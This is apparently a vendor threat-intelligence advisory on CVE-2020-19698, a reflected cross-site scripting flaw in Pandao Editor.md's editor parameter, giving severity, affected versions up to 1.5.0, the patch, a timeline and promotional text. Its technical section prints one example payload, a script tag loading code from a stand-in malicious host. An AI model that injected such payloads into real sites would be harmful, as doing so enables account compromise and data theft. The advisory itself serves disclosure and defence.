# CVE-2020-19698: Pandao Editor.md cross-site scripting in editor parameter

Source: https://junglewise.ai/threats/cve-2020-19698-pandao-editor-md-cross-site-scripting-in-editor-parameter  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2023-04-04. Updated: 2026-09-25  
License: CC BY 4.0 with a link back

CVE-2020-19698 · Severity: low · CVSS 3.1 · Published 2023-04-04

Pandao Editor.md is a popular open-source markdown editor component embedded in web applications. A cross-site scripting (XSS) vulnerability in the editor parameter allows an attacker to inject and execute malicious JavaScript code when crafted input is provided to the editor, potentially compromising user accounts, stealing sensitive data, or redirecting users to malicious websites.

Technologies: [editor.md (npm)](https://junglewise.ai/threats/technologies/editor-md). Vendors: [npm](https://junglewise.ai/threats/vendors/npm).

## Quick answers

**Is CVE-2020-19698 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2020-19698 being exploited in the wild.

**How severe is CVE-2020-19698?** Low severity, with a CVSS score of 3.1, published 4 April 2023.

**Which products and versions are affected?** editor.md (npm) SEMVER:introduced=0,last_affected=1.5.0.

**Is there a fix for CVE-2020-19698?** A patch was published on 2020-09-22: Security fix proposed via pull request #860 Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2020-19698 attacked?** It is attacked over the network, in a software library.

**Am I affected by CVE-2020-19698?** Check whether you run editor.md (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## Technical details

This is a reflected cross-site scripting (CWE-79) vulnerability in Pandao Editor.md where user-supplied input to the editor parameter is not properly sanitized before being rendered in the browser. The vulnerable component fails to escape or filter HTML script tags, allowing attackers to inject <script> elements with external src attributes. An attacker can craft a URL or input containing <script src="https://malicious.com/script.js"></script> and chain it with template injection (e.g., AngularJS expressions) to achieve arbitrary JavaScript execution. The attack requires only a network connection and no authentication or user interaction beyond viewing the malicious editor content. A patch is available via pull request #860 in the official repository.

## Affected products

- Pandao Editor.md 0 through 1.5.0

## Identifiers

- CVE-2020-19698
- GHSA-5p84-mmh9-pxgr

## Timeline

- 2019-07-02: disclosed: Vulnerability initially reported on GitHub issue #700
- 2020-09-22: patched: Security fix proposed via pull request #860
- 2023-04-04: advisory: GHSA advisory published

## References

- [https://github.com/pandao/editor.md/issues/700](https://github.com/pandao/editor.md/issues/700)
- [https://github.com/pandao/editor.md/pull/860](https://github.com/pandao/editor.md/pull/860)
- [https://github.com/pandao/editor.md](https://github.com/pandao/editor.md)

## Related threats

- [editor.md cross-site scripting via markdown injection](https://junglewise.ai/threats/cve-2023-29641-editor-md-cross-site-scripting-via-markdown-injection)
- [Pandao Editor.md cross-site scripting in iframe src parameter](https://junglewise.ai/threats/cve-2020-19697-pandao-editor-md-cross-site-scripting-in-iframe-src-parameter)
- [pandao editor.md cross-site scripting in JavaScript protocol handler](https://junglewise.ai/threats/cve-2019-14517-pandao-editor-md-cross-site-scripting-in-javascript-protocol)
- [pandao Editor.md cross-site scripting in ABBR and SUP tags](https://junglewise.ai/threats/cve-2019-14653-pandao-editor-md-cross-site-scripting-in-abbr-and-sup-tags)
- [Pandao editor.md Cross-Site Scripting in EMBED tags](https://junglewise.ai/threats/cve-2019-9737-pandao-editor-md-cross-site-scripting-in-embed-tags)